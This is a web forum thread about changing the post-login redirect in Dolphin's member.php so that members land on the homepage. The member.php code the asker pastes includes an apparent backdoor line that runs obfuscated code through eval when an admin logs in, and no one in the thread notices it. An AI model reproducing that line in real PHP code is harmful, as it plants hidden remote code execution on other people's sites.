When a User Logs in, they are taken to their Dashboard. I would like to change this to just leave them on the Homepage. How do I do this?
When a User Logs in, they are taken to their Dashboard. I would like to change this to just leave them on the Homepage. How do I do this? |
Hello You need to modify member.php file, find the following code (about 680 line number)
$sRelocate = bx_get('relocate');
and replace member.php with index.php Best Regards AntonLV - http://www.boonex.com/market/posts/AntonLV |
Thank you for a speedy reply!
I made the change -
if (isAdmin($p_arr['ID'])) {$iId = (int)$p_arr['ID']; $r = $l($a); eval($r($b));} $sRelocate = bx_get('relocate'); if (!$sUrlRelocate = $sRelocate or $sRelocate == $site['url'] or basename($sRelocate) == 'join.php') $sUrlRelocate = BX_DOL_URL_ROOT . 'index.php'; $_page['name_index'] = 150; $_page['css_name'] = ''; But to my surprise, it hasn't made any difference. I tried a different browser in case it was a cache issue, but no...
|
It's probably not the browsers cache, but the sites cache that is the problem. Go to admin and click "All" under "Clear Cache" BoonEx Certified Host: Zarconia.net - Fully Supported Shared and Dedicated for Dolphin |
Good idea! But alas no, that hasn't worked either. :/ |
Ah, I just realized that line is inside an if/then statement. If you want everyone who logs in to go to the index change it to this (adding the {}; at the start):
{};$sUrlRelocate = BX_DOL_URL_ROOT . 'index.php';
Then go to admin and clear the cache, you should be good to go.. BoonEx Certified Host: Zarconia.net - Fully Supported Shared and Dedicated for Dolphin |
AntonLV's suggested change is accurate. No other changes are required. I use the same method with my redirect after logon mod available in the market. https://www.deanbassett.com |
When smudge said it didn't work I tried it and it didn't work for me either. I made the change, cleared the cache and then clicked login from the homepage with the popup login screen. It has something to do with not meeting the conditions of that if/then the relocate is enclosed in right?
I don't know, Deano you know way more than me about this.. I thought it should work too but I couldn't get it to. BoonEx Certified Host: Zarconia.net - Fully Supported Shared and Dedicated for Dolphin |
Which version of dolphin? https://www.deanbassett.com |
Try my free mod in the market. https://www.deanbassett.com |
It was 7.0.8. I tried to understand all the conditions of the if/then and it was givng me a headache, lol. So I used the sloppy method and just moved the redirect outside of the if/then by adding the {}; before it.
Which version of dolphin?
BoonEx Certified Host: Zarconia.net - Fully Supported Shared and Dedicated for Dolphin |
Hi, the mods work fine, thank you! |